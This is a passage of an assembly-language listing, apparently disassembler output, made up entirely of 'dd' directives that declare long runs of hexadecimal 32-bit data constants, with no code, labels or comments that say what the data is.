		dd 0F2BAA830h, 8BB1010Ah, 4FB9C821h, 678870C6h,	3020E490h
		dd 0E0C04CABh, 0BB2DB180h, 9C001EC8h, 0F5A3334Ch, 0E082308Eh
		dd 18D83CEAh, 0A4F4928Ah, 102351A0h, 7B97317h, 9879D204h
		dd 0A4D85052h, 0BE070656h, 0F5229FA3h, 9D00505Ah, 0DF36FB3Eh
		dd 132EB804h, 3112BD2Ah, 26A467DCh, 4B22F0h, 72E33DFCh
		dd 0F02D595Dh, 0E18BDF24h, 4F91401h, 0E030B905h, 1E9C30DEh
		dd 0F83C7199h, 72A49412h, 0D92B0845h, 46AA9840h, 7470F0A6h
		dd 0FAEB1482h, 2E8B70E6h, 8650E898h, 0A6AABC0Fh, 0D43F602Bh
		dd 0EE50971h, 5D477DDDh, 40D426FFh, 3EDB25B9h, 80C75A3Bh
		dd 0C5093289h, 137B893h, 593F1329h, 70A8FD71h, 6892678h
		dd 8C23C461h, 0C0C0184Ch, 0BBE8CFC7h, 5DE29800h, 0A0F3DFA7h
		dd 0DA644830h, 2D1E0856h, 201513E1h, 0ABE49034h, 0F5110CB0h
		dd 0B42EBD76h, 19E40C0h, 9C04CFDCh, 2FB640A3h, 62D27240h
		dd 0B301444Ah, 5EE06096h, 8434711Bh, 0DFBD3112h, 839C41B9h
		dd 3A9944A9h, 0E4B4EABCh, 0C9E040h, 0C37B5AE8h,	0D080BAADh
		dd 0DB018200h, 0D938786h, 933C998Ch, 0A283042h,	0FF0016CBh
		dd 48DD0678h, 0FA8D290Eh, 0D33E038Bh, 106D2B74h, 17C031DCh
		dd 3F1CF987h, 72127ED1h, 18204C24h, 3628B4Eh, 0EFFF4376h
		dd 0F6C0DDB2h, 0CF029BEBh, 0E19C90EEh, 0B4A49115h, 0A201BC29h
		dd 0B7EFDE3Ch, 0A9B06012h, 0E4DFE044h, 831D319h, 20A634BCh
		dd 3ED92D08h, 18D7A414h, 0B4446A3Ch, 0C3644h, 7682F1A9h
		dd 0C97A033Dh, 16BE0518h, 0C08E29h, 8274AD8Dh, 0FA520A5Ch
		dd 5958BC7Fh, 0C071C2C8h, 2949206Eh, 5E006D2Ah,	0FDA9C5Ah
		dd 0F4B8EE3Dh, 0C96C2E77h, 0A99203CAh, 0F2C0680Bh, 9091708Ch
		dd 0FFA13A80h, 46D7139h, 8D43ECFh, 0DEA4A40Fh, 86338A00h
		dd 3CC28741h, 97609339h, 1450703Bh, 90009E87h, 8C4D5C86h
		dd 12F817h, 0A2F6F4D6h,	1A1CCCE0h, 33F2A0A4h, 48DE0E88h
		dd 1C894C94h, 5510F890h, 0D806CB3Ch, 305B2264h,	2621471Eh
		dd 241834CCh, 3C11E32Bh, 9B440033h, 0F35C9208h,	0B006FDE4h
		dd 21153F1Eh, 82331D60h, 1059CAD1h, 9EE0074h, 62B6DA1Eh
		dd 7716E7FAh, 5A190BF8h, 0FABE2D20h, 31CB1C1Ah,	0C1902CC0h
		dd 0D9A27F01h, 0BEA5E6D0h, 96FF5DF0h, 229A88E4h, 58601E8Ah
		dd 0A7015CA6h, 3C2375D9h, 0B44FA041h, 0F18D88Bh, 0D0082B03h
		dd 0ECA43100h, 62028B83h, 1D320519h, 2BD0731h, 3B2435A8h
		dd 34046CA9h, 964146E0h, 940C0971h, 0BF078AC1h,	738D3F48h
		dd 24A44C18h, 2FD5FF0Eh, 0DE34C167h, 5C4129EBh,	0F71198B3h
		dd 3470493Ch, 0E76123C0h, 18C014C8h, 269519Ch, 5CF60B1Ah
		dd 2EF240EBh, 0ACB41048h, 473AFD0Dh, 0EC6359EAh, 0E94A7D00h
		dd 0B29230Ah, 5E0537ECh, 0F6F319DDh, 50352CC0h,	3062F5E1h
		dd 34896809h, 60DFA0A2h
		dd 91432C46h, 29F19041h, 5E713080h, 9EB738C7h, 700ADE79h
		dd 6CBB96BEh, 224EF740h, 0A1E4602Bh, 0BA4CAC7Eh, 40D20F27h
		dd 1BB5DF5h, 0AF3536D0h, 0BC2E3B47h, 0D4958538h, 8812FFFBh
		dd 0E074D014h, 28C86992h, 9488DB64h, 349640DCh,	0AC0F16D3h
		dd 83F6846Bh, 0E5EA8610h, 0E7D4B402h, 4CA450C1h, 0A5B05863h
		dd 81029E59h, 0A8734B92h, 228C5832h, 639CBA3h, 31A5B7D3h
		dd 0A16A0982h, 90B62C44h, 9C97F181h, 414F0AF7h,	0E0A933EDh
		dd 11C10C0Fh, 2145E04Dh, 31B2EEEDh, 8CC6782Ch, 9FD99901h
		dd 381AAFF9h, 5857D8h, 0DFD1FD08h, 0BC2213C2h, 1B121076h
		dd 5C446E7Dh, 145F29A2h, 0A480F064h, 9C754B79h,	21C8E230h
		dd 883EBDA9h, 680E6D9Ah, 89259633h, 6BB048C0h, 0A1300329h
		dd 47C1FA88h, 0CC28E7F0h, 0BFF488B8h, 70B39A07h, 805C733Fh
		dd 683D0F94h, 0A56F32CCh, 44908CA9h, 7801B215h,	0E609E552h
		dd 8D00DD3h, 0F8105C54h, 0B178D780h, 0F400862Bh, 0E6FE61CCh
		dd 9A47305h, 0DCD2DFAAh, 683C8007h, 12A64D80h, 7BF7A2CEh
		dd 942FE33h, 1CE14ED1h,	13751C66h, 896CE330h, 0FC94B72h
		dd 2E18F393h, 1F400F4Ah, 6EC7810Bh, 0F0EDDC6Ah,	1C039444h
		dd 0BADA781Bh, 0B527A14Ch, 1900E072h, 5B02DEF0h, 60019AC6h
		dd 891BE4Fh, 0D4301D84h, 412CA0A3h, 0F8E8ABE1h,	0C9B5Ch
		dd 870D29C3h, 4AEAEF52h, 0B9C94000h, 0B79FFC9Eh, 769A0043h
		dd 8FA27E25h, 277DD444h, 9B6D2600h, 2E8A3875h, 0FF820AA5h
		dd 48B3CCh, 176CF981h, 0DA038A53h, 0FB6AD155h, 4880FCA1h
		dd 487966F2h, 0F73E409Bh, 0B382F900h, 0E975078h, 0FF5CF301h
		dd 25BD5827h, 0B41877DCh, 32840088h, 86C3980Eh,	9FDB3503h
		dd 0E0AD7F30h, 1F72E46h, 68D1DF39h, 0C0EFB744h,	2909F6D2h
		dd 0A00F3E2Dh, 454711F8h, 758A5871h, 0B1C1CB00h, 0FCEE1FAEh
		dd 8B605973h, 81B73D22h, 21801FBBh, 604180BEh, 978358FCh
		dd 5998DC09h, 70588579h, 0BE00A0B7h, 8EBF92E6h,	851C520Eh
		dd 813C47FCh, 980D6DF4h, 15D08A90h, 0A8305237h,	51A83200h
		dd 4F4791CBh, 33F8F202h, 40C79921h, 7CE09F5h, 0AB338E8h
		dd 0AD2420A0h, 0D100BDD3h, 0C8E5BFBBh, 60F46A18h, 0B3701819h
		dd 0DB069671h, 358D4C30h, 0F17D0099h, 0F7B4C25Dh, 0D8004D6Bh
		dd 7E29AE2Eh, 1783B86h,	3CFB63C9h, 0C3934B2Ch, 9E7E1A64h
		dd 270040F2h, 0F5FFD243h, 6C902A98h, 12A46144h,	56F75008h
		dd 0A50462F4h, 11CF9210h, 22CAF9B3h, 836A00E1h,	1F8E320Bh
		dd 695C1874h, 0B1F0C0F4h, 0F2FF51D1h, 57F800A4h, 47896E74h
		dd 9C00D3BFh, 77AC8076h, 42610D0h, 2B451760h, 4B7090F2h
		dd 0C80008D3h, 0F7569094h, 0E69B656Eh, 0C5C100C4h, 0C238D44Eh
		dd 0E6072171h, 621F0A76h, 40BB1890h, 506E757Fh,	31220CB5h
		dd 0DE59E24Dh, 0AD03293h, 0C96B41Eh, 0B02FA23Ah, 0C4BCAB98h
		dd 0AF4A0941h, 96F5F024h, 94C1F200h, 6006EA51h,	7F7026F0h
		dd 0FCB98724h, 89696096h, 7B060CE9h, 4B213CE3h,	0D0262E49h
		dd 16E1098Ch, 0E4518C92h, 5C84A200h, 1E01531h, 0CC839BB0h
		dd 7162CB4Ch, 0A910DF10h, 0C8923E95h, 98F06084h, 0E88C3102h
		dd 0D2BF2DDBh, 12ED480Ch, 793F007Ch, 55D6355Ch,	0DA1742CDh
		dd 0A8046E70h, 0BC03DF8Ah, 91A1BBD9h, 0E93D1233h, 4812DFB0h
		dd 0F2309A80h, 0BC3E8961h, 0D088F23h, 0F975D25h, 545D9020h
		dd 6EE70041h, 5EC85155h, 0BB2DA33Ch, 113C226Ch,	4C4291Ch
		dd 14EC48FDh, 2A285E00h, 0E87D23A5h, 4BF500C4h,	666895A1h
		dd 0BB2E47B0h, 39870C4Ah, 4340E7BDh, 1C5B5272h,	7512D0h
		dd 2DC84490h, 0E750B707h, 0A102D30Ch, 9D306854h, 60C4E5h
		dd 0F88C1806h, 82216B49h, 0AEAACE1Fh, 41D42C84h, 9CDE5081h
		dd 1E17C822h, 0C04423A6h, 0CD00097Ch, 27E1E30Bh, 0B17CBABh
		dd 3E36897Fh, 0C0610C84h, 22DF1B00h, 38126B5Fh,	4CF040DCh
		dd 0E380F408h, 0A9744E87h, 0FF7983B8h, 0CEB28301h, 0CFDCD506h
		dd 0B93C60FAh, 732700BAh, 3EF99C38h, 0BB3D6865h, 0A019EE71h
		dd 46CB56B3h, 3E96E2F6h, 0B05090Ah, 61BBC9BDh, 0FACF6F80h
		dd 1E7FA080h, 8423425h,	0E6B71A75h, 2CC01980h, 2F361B79h
		dd 1E414813h, 0D60694ACh, 49E00809h, 0E82C04ACh, 2DE91018h
		dd 40604BE1h, 0D7BD33D4h, 841D168Ch, 3C555724h,	0DD0071B0h
		dd 70D6211Fh, 3A3FA588h, 58770E37h, 6980802Ch, 0AF8E2BFDh
		dd 0EEE97B00h, 5492AA34h, 0FE96003Ch, 78CA3B62h, 44123214h
		dd 0F4204C21h, 3EDA3CF8h, 1F80D3B7h, 97C386E1h,	985BDE37h
		dd 681C304Bh, 499184h, 5B250C28h, 0BB79BA40h, 94AF4406h
		dd 7FC93F9Bh, 0A639C018h, 0F08BBC8h, 0E38098BCh, 89A4236Eh
		dd 0F06A00EDh, 55DFCEA3h, 8007628h, 0D2DE6DD3h,	0BE6B8Ah
		dd 16F14F3Fh, 1EE1365Ah, 0B4214217h, 0A48CE825h, 3167344h
		dd 6D3BAE5Ch, 3C9061E0h, 0C501730Bh, 0C4879B8Ch, 22DD3F81h
		dd 0C4823512h, 708439EBh, 84324083h, 0D46444Ch,	65338A1Dh
		dd 0FFA1D0C6h, 0BF0DE200h, 4B604290h, 0F7930BCEh, 2C879A55h
		dd 0E8994D89h, 34B19112h, 9BA0A900h, 0F6D8BAh, 4D95B733h
		dd 0CFA7F277h, 14973B02h, 8160E325h, 2C7F19B6h,	5027839h
		dd 0E9C116CCh, 0CEE2DB60h, 4820A64Fh, 0FB8C8Ah,	0C488D780h
		dd 0A50C99B6h, 29A66003h, 0F950BD3Dh, 0AC684F16h, 0E318F6C0h
		dd 0BD00057Eh, 4EF9C5B7h, 2E591Ah, 289D9BFDh, 143D508Dh
		dd 4C21A44Bh, 0FD0A290h, 3AB325CEh, 4CA72868h, 6CB00400h
		dd 262DFB29h, 0B16B0115h, 2254079Ah, 88147C5Eh,	508AC990h
		dd 0D6244080h, 8A8E528h, 14165943h, 9C306E8Ch, 0EA5B7C06h
		dd 0A1AD00BEh, 396F7755h, 1701CFD2h, 53F0FA6Ah,	0F43C9F24h
		dd 0C7C0058Eh, 3322D94Fh, 0AB75EA01h, 488101C1h, 251A82D8h
		dd 0E02090A8h, 0CC25FB1Ch, 0E18370A8h, 69297900h, 78F8E881h
		dd 74040009h, 0CECD500Ch, 8E16C4A9h, 6E1F374Ch,	9B033426h
		dd 80C778DBh, 0C825A716h, 2B4507F8h, 594CA4h, 3B56EF88h
		dd 9763FA95h, 167693Fh,	0E1288C58h, 88514817h, 7428A412h
		dd 89AA58A0h, 37D2D00h,	945D3268h, 219F006Fh, 532554CAh
		dd 0F3122863h, 0E02C92DCh, 55AC013Ch, 356317BAh, 7E7C7076h
		dd 0ECF01251h, 9B4B40A5h, 68043412h, 1356D7A3h,	310CA84h
		dd 0A9B20168h, 0AD37E870h, 65AC01F1h, 25C3F76Ah, 0F51C70DCh
		dd 0B1C79C00h, 7A113CB8h, 984649BBh, 8232CC80h,	0E000C84Dh
		dd 72AADE69h, 725C598h,	6E51570Ch, 0A6D9907Ch, 0F4001A9Ch
		dd 4BE23355h, 23741C9h,	8A1E6045h, 0A464C03Ch, 2F9F9D1Eh
		dd 0C566E7CAh, 765E300h, 0A41D61h, 57FF91A1h, 0B7C1C681h
		dd 27378A04h, 2680B93Eh, 0CABB73h, 0C5B36931h, 0E386509h
		dd 711F1D01h, 0C82F0ACCh, 0A6160C76h, 0F03CDCDEh, 544A9E00h
		dd 0DFABA294h, 8B49CE4h, 33847460h, 0B940CD08h,	0AD1F57Fh
		dd 21B4FA15h, 0ED9500ACh, 0E44B3532h, 7EB203F3h, 7CDE5193h
		dd 0BD345C88h, 10E35812h, 0BFD6F01Eh, 0E1711420h, 3B89DE1Bh
		dd 0F87DA40Eh, 6C7B84E2h, 0A5048451h, 920996C3h, 6E446800h
		dd 0DC997F18h, 0D0301E17h, 3A5595CCh, 0F0092868h, 0F49057A6h
		dd 0C804D09Eh, 70451716h, 11AF7CC2h, 0C4450DFh,	3013FC82h
		dd 18828646h, 92802E24h, 0B3442769h, 0A42C5A50h, 99870F13h
		dd 0CE553C1Eh, 0AA71C050h, 1782BC59h, 19C49EB3h, 1C72293Eh
		dd 8975FCh, 0FBF51A2Fh
		dd 3CF78E0Ah, 5940D4BEh, 3053CFF3h, 0C3C86987h,	0B719B45Fh
		dd 22C199F4h, 9A9AB20h,	2B8C9FE2h, 5A3BC410h, 0AA74EF00h
		dd 0CF9110C0h, 0C75E015Bh, 0FF0475B4h, 2CE8C689h, 2714AF09h
		dd 124C8018h, 802187A4h, 0A0557716h, 0F83CDC80h, 67AC2D5Ah
		dd 131580Dh, 111A5FA8h,	0D032A612h, 0C056127Dh,	21B8865Ch
		dd 3D0118F8h, 0FACAA822h, 0C8511A05h, 0A4001047h, 9E00AFA3h
		dd 0CFCA4156h, 0B93EF5A1h, 67203E0h, 62F83DB6h,	910061CEh
		dd 44844E73h, 2FA7ABA4h, 89875EEh, 1928E406h, 7600DB3Dh
		dd 6D93A829h, 31385405h, 8B88796Eh, 85A082DCh, 0C81011E1h
		dd 4CD43308h, 0FF0F1009h, 0E9418154h, 211BFB4Ah, 85E83C6Ch
		dd 84402E8Bh, 396AC30Fh, 8AF10381h, 0BAFE4C28h,	3BDD30FFh
		dd 1048A222h, 3844288h,	4F49FD6Eh, 33F8F0EDh, 0DD900070h
		dd 640906AAh, 4A5B59C0h, 1962D40Bh, 0CE189758h,	0FC70C229h
		dd 0C955F380h, 3625BD9h, 153961ABh, 0C6E0C2A6h,	0C40A12DCh
		dd 604721E5h, 97462700h, 0BC318B5Fh, 0E0A894BCh, 40E064CEh
		dd 1C1A0107h, 0C7196860h, 0BAD5EFh, 88052B78h, 870B044Bh
		dd 0D366C107h, 40AE9406h, 40D51FE2h, 0C66B1F83h, 0E5C04007h
		dd 0B4D9991Bh, 8E149C00h, 0B35AC8EDh, 5C3D05C3h, 809D2BE2h
		dd 49F94879h, 10180700h, 0D9B985B7h, 3441144Fh,	6C87B8B6h
		dd 0BC7A90EDh, 0EC054AC4h, 783EA97Fh, 0C98EE8C1h, 48179CECh
		dd 0BC80E8B7h, 2695BB31h, 46B04B00h, 0A278CE70h, 0C051481Dh
		dd 0F75BC300h, 0D9AAEC96h, 169140B6h, 4420B42Fh, 4AC99B6Eh
		dd 40E3942Eh, 0E6402FC4h, 1E17E5A0h, 381A3C02h,	0D916E16Bh
		dd 0F42800B8h, 0DCF093F5h, 10440890h, 0F7092419h, 8F013B04h
		dd 3FCCB675h, 0C2B5F83Eh, 0E12EBCE8h, 0E3C448BBh, 17644053h
		dd 0D612F431h, 63F8CD02h, 20F23EE9h, 88A32FB0h,	0D5F55B01h
		dd 2334653Dh, 25D24FCh,	60CEF0C0h, 80613B47h, 482D0C37h
		dd 6B80F4B6h, 81DE0511h, 0AA37FD09h, 46476F3h, 0C818D9E5h
		dd 21173300h, 2009CFD1h, 0A97C8006h, 0A002B3h, 3820B605h
		dd 0BE8FC378h, 43728EB0h, 10A8E95Ch, 4D00126Ah,	0C206DB8Dh
		dd 4624C33Fh, 0E0249B5Eh, 0BEF1CE04h, 5D3E70ADh, 0FE0AA080h
		dd 0BE0CFA1h, 0A7C88300h, 0DD167F09h, 239704A2h, 0C8A01258h
		dd 0F50006A8h, 8D7052E2h, 2EBA9A1Bh, 90343CB1h,	4D478464h
		dd 8B8A9CA2h, 1FF54084h, 883A76B4h, 80BBBA9Dh, 0EFCDF665h
		dd 0F83D2E90h, 38F366E0h, 19024861h, 21DCBBDAh,	404471B3h
		dd 9CBEA927h, 0A15CED01h, 4758CA44h, 807C48C5h,	71C4BF3Fh
		dd 0EBDDB61Bh, 4D8CC039h, 883C37A1h, 624BC521h,	74F2C05Ch
		dd 8A85AD0Fh, 0B94AA0A5h, 2A25A5Eh, 2253E0CEh, 1884ED47h
		dd 394F4110h, 70F077C3h, 0B89C77AAh, 411E0117h,	3C1BA1DDh
		dd 39D8613Dh, 19681D0Ch, 42208D84h, 47D11380h, 96BC60FBh
		dd 0D6AD8E0h, 54182100h, 0CFAD6D44h, 2FA20037h,	6E2BB7D2h
		dd 61DF890h, 0DB806918h, 0E3387450h, 0B714142Dh, 5989E0D8h
		dd 11E2E586h, 24CD281Fh, 0A26C4B87h, 0FF8195B4h, 282306C7h
		dd 0FED9117h, 2C8027FFh, 0E1703418h, 218A8E00h,	883BCF99h
		dd 736D05F3h, 71E24D8Fh, 7CBEDEA0h, 0C04A88E4h,	0AEC4F7Bh
		dd 54D59426h, 0EF67FF01h, 206C7C6Fh, 0DC2E4603h, 0C8C086E9h
		dd 7194784h, 5F800945h,	10533Eh, 96F5DAACh, 844806EBh
		dd 0E54714A0h, 9D4C88C8h, 0A3CA4324h, 5F8E31Ch,	2DFE86EBh
		dd 1743470Fh, 0AC1500BDh, 481A490h, 0CC506013h,	8000FD7Dh
		dd 280A6ED6h, 0CA4D0078h, 99422C3Bh, 3D0032C8h,	40BE852Bh
		dd 1AC74F8h, 729617B9h,	301C9E34h, 0AD7B7941h, 47578D07h
		dd 10B0F202h, 7431606Fh, 2C10BA2Ch, 4EF4BF3Dh, 80EF8F27h
		dd 1766A4F9h, 6F0B5B00h, 441B60F8h, 0E8B064BDh,	206E2251h
		dd 0BA1BD7DEh, 70356700h, 0D5B0A41Ah, 85EB00CDh, 0C07FF821h
		dd 9C0EAE7Bh, 0E1B3EF53h, 11CCCF3h, 700C406Ah, 0B73A2EB9h
		dd 4857443Fh, 0A5591F60h, 0E8C2B38Bh, 735D947Ch, 2F5E0E68h
		dd 0E440F39Ch, 8F4EFFAFh, 6EE81F50h, 36AD001h, 0A63482A8h
		dd 496821h, 5EBE51D0h, 0C80C57E1h, 8A1630C0h, 2095C13h
		dd 2BE30008h, 2B2D1649h, 1DCCD7E1h, 64ECEC1Eh, 4BC06095h
		dd 0B410C944h, 38CCFC68h, 4C22A21Fh, 5FD00FC2h,	6D808780h
		dd 81032BDFh, 9E11CE41h, 7EA0CC2Ch, 2B04C5DFh, 0E8D94DD4h
		dd 39674EC0h, 0AC4A00EAh, 18EF72D5h, 0A70021B6h, 0CC526C7h
		dd 1FBB704Fh, 8C1D8A40h, 2C19C85Eh, 1C2526h, 309E1241h
		dd 493C212Ah, 78B20410h, 3839A10Bh, 1100D68Fh, 23AEC363h
		dd 0C5F17E00h, 0F3CEB8C1h, 711E009Dh, 336492D1h, 1800F7BFh
		dd 2C5F2E60h, 3FB652Bh,	0A76B6CD9h, 0DC989670h,	1F004327h
		dd 3768EBE9h, 26215358h, 6290DE14h, 0C8764C1Eh,	8897E6Fh
		dd 6AC002ACh, 0F996201Dh, 0C8146006h, 58CCCD98h, 20DACF74h
		dd 2208DEFEh, 70A0048h,	0A466A76Fh, 2E174986h, 0CC831FD3h
		dd 0B5701B98h, 9BE859E8h, 8F02FD53h, 1CE4EDE6h,	51F08940h
		dd 0C73C8038h, 0C0E3C1A2h, 1403E1B8h, 0EDD91D31h, 0B083BB84h
		dd 53FCA29h, 8EB4CDE9h,	816A83D7h, 0FC562BAAh, 15EC0D80h
		dd 1B48A46h, 0B987223h,	2C25C33Bh, 3CBC8164h, 6EE51D2Eh
		dd 844A2860h, 0B44E2B5Ah, 0F281FFACh, 2CF7B2BAh, 76073040h
		dd 9C3A01BFh, 0F6F26265h, 0F8FA30D8h, 0A8C8944Ah, 8498953Ch
		dd 9744A91Eh, 55A126D3h, 88A584ACh, 8158BD9Ah, 0CA1D9DCFh
		dd 4B02287Ch, 1BEFEC57h, 8B0E5CC6h, 1EE2CEB5h, 0D9F95C0h
		dd 0B5F658AEh, 44A44407h, 3870C80Fh, 0BE5ED000h, 0E6A71EA6h
		dd 0DBB300E8h, 3C6AF2CDh, 0C92E72A4h, 551450E2h, 17B60182h
		dd 25C544CFh, 1C36E8h, 0B975A832h, 9C541623h, 0BD12F90Ah
		dd 0A025834h, 4983A099h, 0D211E214h, 759D706Fh,	63E89400h
		dd 70A1EF7Dh, 5F1DF2F3h, 9068321Eh, 0A208B319h,	0DF949819h
		dd 0FC102759h, 11EAC12h, 6112EC54h, 0E1790492h,	0FC288A28h
		dd 187EB980h, 3B000FF8h, 8C62E701h, 7B354280h, 651C05BCh
		dd 0F214C040h, 32FC0734h, 807903A6h, 0BE9CEEE8h, 298E0BF8h
		dd 0BC033B79h, 0A2CC3CD6h, 275A007Ch, 4C089F02h, 332E009Bh
		dd 70724373h, 351F4965h, 0D4038C37h, 0D8F7BD95h, 0F6D82F56h
		dd 68615821h, 0B60671B0h, 2A85221Fh, 0ECF7D4C0h, 0E8FC875h
		dd 0D8E67ECAh, 0B87014A9h, 3C60BCB6h, 24BB08AFh, 47D40F48h
		dd 0C4D50AEh, 322C64EAh, 610047D9h, 0C52B373Dh,	19AC7B5Eh
		dd 31DC9114h, 788C2941h, 0C56D5300h, 90045A5Ch,	0C1E300EDh
		dd 1DE724C3h, 0D8519DC8h, 78C63D2h, 3EC69869h, 992FB2E0h
		dd 78763BF2h, 0FDC7D21Eh, 0FE91D32h, 0FC4FE02Fh, 8B7881h
		dd 5B718453h, 7B98B202h, 9C7C4B09h, 307AEBh, 0A63EC4B3h
		dd 0AF08BB78h, 345CE074h, 0B4AD1754h, 0E39F68D0h, 0A4740068h
		dd 6A23EFA1h, 0F400CBE6h, 22CC4925h, 13FEBEBBh,	12C4883Ch
		dd 0EAF6078Ah, 89B3649Fh, 80483C44h, 70B5A783h,	9D96763Bh
		dd 0B0064010h, 1C1733Ah, 67A0231Fh, 0E47D58BEh,	288F4680h
		dd 0BC00A1D6h, 0DAA4703Dh, 0CBE7A6h, 7D986F48h,	0F3A51291h
		dd 0EABC9554h, 85DB88h,	0CAD7C205h, 0BB3AD18Eh,	28C3F209h
		dd 455C98E6h, 0F71D0229h, 2296DE1Ch, 7DF81410h,	24477E93h
		dd 4010E60Dh, 1B45A829h, 13647B2Dh, 62FCD228h, 0BF208444h
		dd 79B4088h, 77F49927h
		dd 0BBA6F0AEh, 9D000295h, 0FB9638A2h, 0BC47F2Eh, 0B521072Dh
		dd 0AAA2418h, 0C000975h, 129D6FF3h, 0BDB36Eh, 44BB8E97h
		dd 8D71EF6Ch, 1A0FDB00h, 74161538h, 0E1ECFD60h,	5054B611h
		dd 0E4E00A9Fh, 0BB99EF00h, 648291D9h, 22B22698h, 95B488A8h
		dd 0C89DDE89h, 580F1800h, 0D6B478h, 5AF227B3h, 6000CE12h
		dd 0B09CACFAh, 1EB971F5h, 0D2379041h, 2AA4F598h, 27AF1420h
		dd 0D01500C2h, 3F1A74CEh, 3905E3E6h, 12603A4Dh,	0E0248CB1h
		dd 4511C967h, 0A60E906Ch, 0CBCD8CE9h, 0F23C680Fh, 72AB034Fh
		dd 3909A5CAh, 6CB03FD1h, 559400FCh, 0CC95CF68h,	75F01207h
		dd 28E223h, 1CF68152h, 89DDAh, 0ED7038F4h, 0C260D5DDh
		dd 80D9C833h, 3D978812h, 0C210B668h, 782BE360h,	77E709CCh
		dd 0B8982261h, 0D81F33F8h, 3C400AAFh, 97A686E1h, 181B164Dh
		dd 3074F120h, 0A9005C14h, 8BD013D2h, 12F73AF0h,	306E1F09h
		dd 9DAEFBF0h, 0B3C1F11Ch, 77B0B1C0h, 6502ECAh, 0C41C3598h
		dd 82055124h, 8370A52h,	1C0D1C88h, 80CDE1C0h, 3F5B042Ch
		dd 9A7A99A2h, 97A98EFDh, 0C5234246h, 877C5EB3h,	0A0518C27h
		dd 3D10C18Dh, 1BE2EF1Dh, 8186ED4Eh, 0EAAC6087h,	0B076586Ch
		dd 2D1C0070h, 0CCB37035h, 74C4715h, 847102BAh, 77987955h
		dd 2301C9E0h, 0C339F800h, 1EB3583Ch, 88254E14h,	0FB002DE4h
		dd 0FE220E29h, 784231C4h, 0E2D6F872h, 0A83E09F8h, 9CE0E3B7h
		dd 4484175Dh, 601A229h,	2F85C284h, 19C02BCDh, 1640C55h
		dd 27F1E041h, 89396B03h, 0D0C8A7DCh, 1E19F23Eh,	0C02AF4CDh
		dd 7BAB9871h, 11DCF34Fh, 0F9738C09h, 5EF005Ch, 87B06A3Ah
		dd 0D5B75801h, 0CDC12DDFh, 19A0C06Ch, 0BC7793B3h, 1E04649Ch
		dd 0D091C348h, 212B91DEh, 7A647D84h, 0EEA59420h, 21068096h
		dd 9EB73A01h, 2C863E51h, 0A3C46440h, 9F301EB3h,	3162833Fh
		dd 0B8F578BCh, 45EA833Ch, 0AF92F8F0h, 55F745Ch,	0D86478FDh
		dd 0EA340855h, 0BD009047h, 7A39F0C8h, 3CDA01DFh, 4D6B5F6Dh
		dd 10143C57h, 1E1435BAh, 0C892884Ch, 86007584h,	446EB852h
		dd 19098DBh, 2DEAF9CCh,	0BCE82B22h, 7B398031h, 14B9B3ABh
		dd 0DDBC03FCh, 0C4A1A2C8h, 0A44753F0h, 2613F500h, 0B2B58DA7h
		dd 2B8C0E18h, 66405E22h, 4B7953E9h, 1A478400h, 0F0DB6C06h
		dd 2BFA00D2h, 989709B8h, 0EE02D69Ch, 130331DCh,	0EA434070h
		dd 68F200FCh, 0E715E5Ch, 7F7D0D6Fh, 0F564731Fh,	28347280h
		dd 0FCDE01B7h, 0BC58009Bh, 660748F1h, 7601B5F2h, 0CB639C70h
		dd 3CE823BDh, 0AEF47Eh,	0E1CD537h, 0CC7D752Ch, 4707F690h
		dd 0F1842895h, 2E53A493h, 0A05CB8h, 0C3E41545h,	0D003E33h
		dd 73F65D87h, 0F6140F6Eh, 0D58351DDh, 0F0DD87E3h, 0F98031CDh
		dd 4AB4C1A3h, 6A26B22Dh, 0B6008506h, 87FA5565h,	0C04D4859h
		dd 5AD77D0Ch, 0EA60FD71h, 0AF0EB1F1h, 1BDC0F1Eh, 0FB668A95h
		dd 7D3CE027h, 0A12330D8h, 0CF2DE5F2h, 493B0371h, 0CF64ECD0h
		dd 8BBC8800h, 0F890097Bh, 39233D52h, 0A6753E80h, 0E459DC07h
		dd 0D9258306h, 3E7869CBh, 48577DE6h, 0A3C753Bh,	7DEC8507h
		dd 16C860FCh, 6330E7D0h, 80C8129h, 0E1B300B7h, 0E6EF036h
		dd 11029D42h, 1FDE05D7h, 4A4E415Eh, 46225080h, 7F2C0F25h
		dd 9CEB4D01h, 0DFC150E9h, 0F58C28B8h, 25591C04h, 0F044DB51h
		dd 19C15BE8h, 7824753Ch, 995D5180h, 79C89781h, 582AA500h
		dd 74054AFDh, 27D30A67h, 2A02666h, 0ADF22568h, 20042882h
		dd 6500C10h, 0F28DAC7Bh, 3BF859FDh, 936FE10Fh, 11C094B0h
		dd 0FD18A8DEh, 8465490Ch, 0B8E3AA00h, 21C381D5h, 2C260087h
		dd 41FCF44Fh, 0DF1E6367h, 144022CFh, 0D2C3688Ch, 1EE8A8BBh
		dd 154D02E9h, 2363F47Fh, 988FBD23h, 77D7A53Eh, 7DB22471h
		dd 8DB013Ch, 425B82ECh,	4A1036A8h, 5CF85879h, 0BC9CF414h
		dd 3B610808h, 53806A90h, 3A97709Eh, 6130DE18h, 62964E1h
		dd 351236Dh, 0F7009189h, 81E292C3h, 503B432Ch, 0C15EB485h
		dd 0D63A44A1h, 0F45020ECh, 0FB6DE0A0h, 0C21E40h, 0F064299Fh
		dd 432E2D01h, 16F5580Fh, 134D00EFh, 7211BE3h, 4E276C6Fh
		dd 17E190C0h, 0E600BF88h, 2D298F09h, 3FC20DBEh,	38E0BAA2h
		dd 3C38A16h, 1D144D3Eh,	19334886h, 24597CA9h, 7EA246h
		dd 34F81DAAh, 496080BFh, 0E48A4529h, 2B08067Dh,	194E2992h
		dd 5A9D4C06h, 4C114DFEh, 5D00A1B9h, 0AC4A5C85h,	2503F2C7h
		dd 38154ED6h, 65290724h, 0B8A79Bh, 0CBE80E2Bh, 4DA94660h
		dd 2AC3EA0Bh, 21589015h, 91104799h, 0E7A27680h,	1D7CB9BDh
		dd 318A8F30h, 804CB1E4h, 1B00EE89h, 0D65D170Ah,	0D5ECBCh
		dd 72F53B92h, 0C8A4FEE6h, 0B9C5A306h, 2D87F4Eh,	0E1B5CCC7h
		dd 86E04ACBh, 8A031E5Ch, 0EA7CAC46h, 0F7AAE0FFh, 999001Ch
		dd 82C6413Ch, 0B50365B3h, 91185A9Ch, 0F0A16E7Ch, 2BE10791h
		dd 39103541h, 1018BE43h, 3CF0D2C8h, 0F4A28680h,	42C9B10Dh
		dd 411A30CBh, 0FEBD5DABh, 57ED00E1h, 0BFB0A426h, 5B77EA41h
		dd 0C8A49EEAh, 0E9922D17h, 6905F601h, 0AC4C3B74h, 0F3CF2412h
		dd 0D0644724h, 0FE6FEA0Dh, 6184B903h, 0FAA4B5A0h, 0BADC8244h
